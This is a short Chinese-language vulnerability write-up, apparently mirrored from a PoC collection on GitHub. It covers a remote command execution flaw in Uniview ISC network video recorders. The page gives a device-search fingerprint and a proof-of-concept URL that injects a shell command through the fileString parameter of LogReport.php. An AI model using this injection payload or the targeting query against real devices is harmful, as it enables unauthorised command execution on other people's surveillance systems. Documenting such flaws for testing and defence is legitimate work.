mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 04:18:39 +00:00
31 lines
617 B
Markdown
31 lines
617 B
Markdown
# 浙江宇视科技 网络视频录像机 ISC LogReport.php 远程命令执行漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
浙江宇视科技 网络视频录像机 ISC /Interface/LogReport/LogReport.php 页面，fileString 参数过滤不严格，导致攻击者可执行任意命令
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
浙江宇视科技 网络视频录像机 ISC
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
app="uniview-ISC"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
验证POC
|
||
|
||
```
|
||
/Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;id>1.txt
|
||
```
|
||
|
||
 |